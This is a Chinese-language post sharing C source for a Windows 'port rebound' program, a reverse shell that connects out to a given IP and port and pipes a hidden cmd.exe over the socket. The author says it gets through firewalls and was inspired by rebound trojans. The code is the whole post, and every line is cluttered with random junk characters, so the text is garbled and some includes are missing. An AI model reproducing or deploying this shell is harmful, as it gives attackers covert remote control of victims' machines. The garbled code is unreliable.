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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _ZU.;0  
~*,e&I  
/* ============================== "T,^>xD  
Rebound port in Windows NT |<Gq^3 2  
By wind,2006/7 ]v{TSP^/  
===============================*/ >[|Y$$  
#include i4 Vv6Sx1  
#include G'qGsKf\  
;]+p>p-#  
#pragma comment(lib,"wsock32.lib") x9{&rl dC  
*)4 `"D  
void OutputShell(); voAen&>!  
SOCKET sClient; zP$Ef7bB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,Xt!dT-  
zBd)E21H  
void main(int argc,char **argv) FY6!)/P0I7  
{ >s+TD4OfY  
WSADATA stWsaData; mrvPzoF,]  
int nRet; V)g{ Ew]:  
SOCKADDR_IN stSaiClient,stSaiServer; 9?~K"+-SI  
s$ v<p(yl  
if(argc != 3) "P_PqM  
{ )]~;A c^x  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~G ZpAPg*  
return; 2%F!aeX  
} +f- E8q  
Lj(y>{y  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;x=r.3OQy  
}qhNz0*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1FQ_`wF4  
lp=8RbQYC  
stSaiClient.sin_family = AF_INET; (#"iZv,  
stSaiClient.sin_port = htons(0); ID1/N)5 6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iig ({b  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MH8Selnv  
{ c3NUJ~>=y  
printf("Bind Socket Failed!\n"); p0S;$dH\ D  
return; C@8WY  
} t/HUG#W{  
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stSaiServer.sin_family = AF_INET; j%y)%4F8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IhYTK%^96  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oA1d8*i^E  
6%&RDrn  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7Odw{pc  
{ %ut7T!Jp  
printf("Connect Error!"); Q|`sYm'.  
return; ;0!rq^JG  
} {_{&t>s2  
OutputShell(); KASw3!.W  
} )(&WhZc Z  
yj+HU5L4  
void OutputShell() 9WH  
{ )]?"H  
char szBuff[1024]; |{8eoF  
SECURITY_ATTRIBUTES stSecurityAttributes; (VxWa#P  
OSVERSIONINFO stOsversionInfo; 7Vd"AVn}g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :)9 ^T<  
STARTUPINFO stStartupInfo; "7T9d)  
char *szShell; kroO~(\  
PROCESS_INFORMATION stProcessInformation; iA[WDB\|0  
unsigned long lBytesRead; 1*>lYd8 _  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \?X'U:  
ee=d*)  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <&$:$_ah  
stSecurityAttributes.lpSecurityDescriptor = 0; mq(*4KFWJ2  
stSecurityAttributes.bInheritHandle = TRUE; HYkZMVH{  
pzPm(M1^X  
l"-F<^ U  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %?7j Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ] _ON\v1  
:$#"; t|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9W[ ~c"Ku  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b2Jgg&?G  
stStartupInfo.wShowWindow = SW_HIDE; z^q ~|7  
stStartupInfo.hStdInput = hReadPipe; ]5=C3Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l]GUQcN=  
?z2k 74&M^  
GetVersionEx(&stOsversionInfo); Rf~? u)h1  
oq>8  
switch(stOsversionInfo.dwPlatformId) xqua>!mqS  
{ {{\ d5CkX  
case 1: @]EJbiGv  
szShell = "command.com"; 6,*o;<k[  
break; iB:](Md'r  
default: F5#P{ zk|  
szShell = "cmd.exe"; }8W5m(Zq9n  
break; S1R:/9 z  
} nDh D"rc  
y^SDt3Am  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V+M=@Pvp9  
#!WD1a?L  
send(sClient,szMsg,77,0); AxOn~fZ!  
while(1) kdX ]Afyj  
{ {I2qnTN_a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6IVa(;  
if(lBytesRead) ;3D[[*n9  
{ =nmvG%.hd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O'G,   
send(sClient,szBuff,lBytesRead,0); Vf'r6Rf  
} : Nf-}"  
else ?1f(@  
{ NG2@.hP:uU  
lBytesRead=recv(sClient,szBuff,1024,0); j;|rI`67~  
if(lBytesRead<=0) break; f~LM-7!zf}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HZ#<+~J  
} f_&bwfbo  
} {y[T3(tt  
l9%oKJ;  
return; qOV6Kh)  
}
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